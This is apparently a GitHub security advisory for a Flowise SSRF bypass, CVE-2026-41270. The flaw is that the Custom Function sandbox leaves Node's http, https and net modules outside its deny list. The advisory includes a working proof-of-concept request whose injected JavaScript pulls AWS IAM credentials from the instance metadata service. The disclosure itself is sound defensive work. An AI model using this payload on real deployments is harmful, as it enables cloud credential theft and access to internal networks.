GitHub Advisoryadvisory · npm

GHSA-xhmj-rg95-44hv Flowise: SSRF Protection Bypass via Unprotected Built-in HTTP Modules in Custom Function Sandbox

HIGH Published 2026-04-16 Modified 2026-04-27 Official page ↗
Aliases
CVE-2026-41270
Ecosystem
npm
Packages
flowise, flowise-components
Severity
High
CVSS vector
CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L
Weaknesses
CWE-284, CWE-918
Reviewed
2026-04-16

Affected packages

• npm flowise: < 3.1.0 → fixed in 3.1.0 • npm flowise-components: < 3.1.0 → fixed in 3.1.0

Description

Summary A Server-Side Request Forgery (SSRF) protection bypass vulnerability exists in the Custom Function feature. While the application implements SSRF protection via HTTP_DENY_LIST for axios and node-fetch libraries, the built-in Node.js `http`, `https`, and `net` modules are allowed in the NodeVM sandbox without equivalent protection. This allows authenticated users to bypass SSRF controls and access internal network resources (e.g., cloud provider metadata services) Details The vulnerability exists in the sandbox configuration within `packages/components/src/utils.ts` Vulnerable Code - Allowed Built-in Modules (Line 56): ```typescript export const defaultAllowBuiltInDep = [ 'assert', 'buffer', 'crypto', 'events', 'http', 'https', 'net', 'path', 'querystring', 'timers', 'url', 'zlib', 'os', 'stream', 'http2', 'punycode', 'perf_hooks', 'util', 'tls', 'string_decoder', 'dns', 'dgram' ] ``` SSRF Protection Implementation (Lines 254-261): ```typescript // Only axios and node-fetch are wrapped with SSRF protection secureWrappers['axios'] = secureAxiosWrapper secureWrappers['node-fetch'] = secureNodeFetch const defaultNodeVMOptions: any = { // ... require: { builtin: builtinDeps, // Content-Type: application/json Authorization: Bearer { "javascriptFunction": "const axios = require('axios'); return (await axios.get('http://169.254.169.254/latest/meta-data/')).data;" } ``` Response: ```json {"statusCode":500,"success":false,"message":"Error: nodesService.executeCustomFunction - Error running custom function: Error: Error: NodeVM Execution Error: Error: Access to this host is denied by policy.","stack":{}} ``` Bypass SSRF Protection using built-in http module Request: ```http POST /api/v1/node-custom-function HTTP/1.1 Host: Content-Type: application/json Authorization: Bearer { "javascriptFunction": "const http = require('http'); return new Promise((resolve) => { const tokenReq = http.request({ hostname: '169.254.169.254', path: '/latest/api/token', method: 'PUT', headers: { 'X-aws-ec2-metadata-token-ttl-seconds': '21600' } }, (tokenRes) => { let token = ''; tokenRes.on('data', c => token += c); tokenRes.on('end', () => { const metaReq = http.request({ hostname: '169.254.169.254', path: '/latest/meta-data/iam/security-credentials/{IAM_Role}', headers: { 'X-aws-ec2-metadata-token': token } }, (metaRes) => { let data = ''; metaRes.on('data', c => data += c); metaRes.on('end', () => resolve(data)); }); metaReq.on('error', e => resolve('meta-error:' + e.message)); metaReq.end(); }); }); tokenReq.on('error', e => resolve('token-error:' + e.message)); tokenReq.end(); });" } ``` Response: ```json { "Code": "Success", "LastUpdated": "2026-01-08T11:30:00Z", "Type": "AWS-HMAC", "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "...", "Expiration": "2026-01-08T17:30:00Z" } ``` Impact Vulnerability Type: Server-Side Request Forgery (SSRF) with security controls bypass Who is Impacted: • All Flowise deployments where `HTTP_DENY_LIST` is configured for SSRF protection • Deployments without `HTTP_DENY_LIST` are already vulnerable to SSRF via any method Impact Severity: 1. Attackers can steal temporary IAM credentials from metadata services, which allows gaining access to other cloud resources 2. Scan internal networks, discover services, and identify attack targets 3. Reach databases, admin panels, and other internal APIs that should not be externally accessible Attack Requirements: • Authentication required (API key or session) • Network access to Flowise instance

Related

Alias · CVE (1)

  • CVE-2026-41270 Flowise is a drag & drop user interface to build a customized large language model flow. vulnerability

Weakness · CWE (2)

  • CWE-284 Improper Access Control weakness
  • CWE-918 Server-Side Request Forgery weakness

References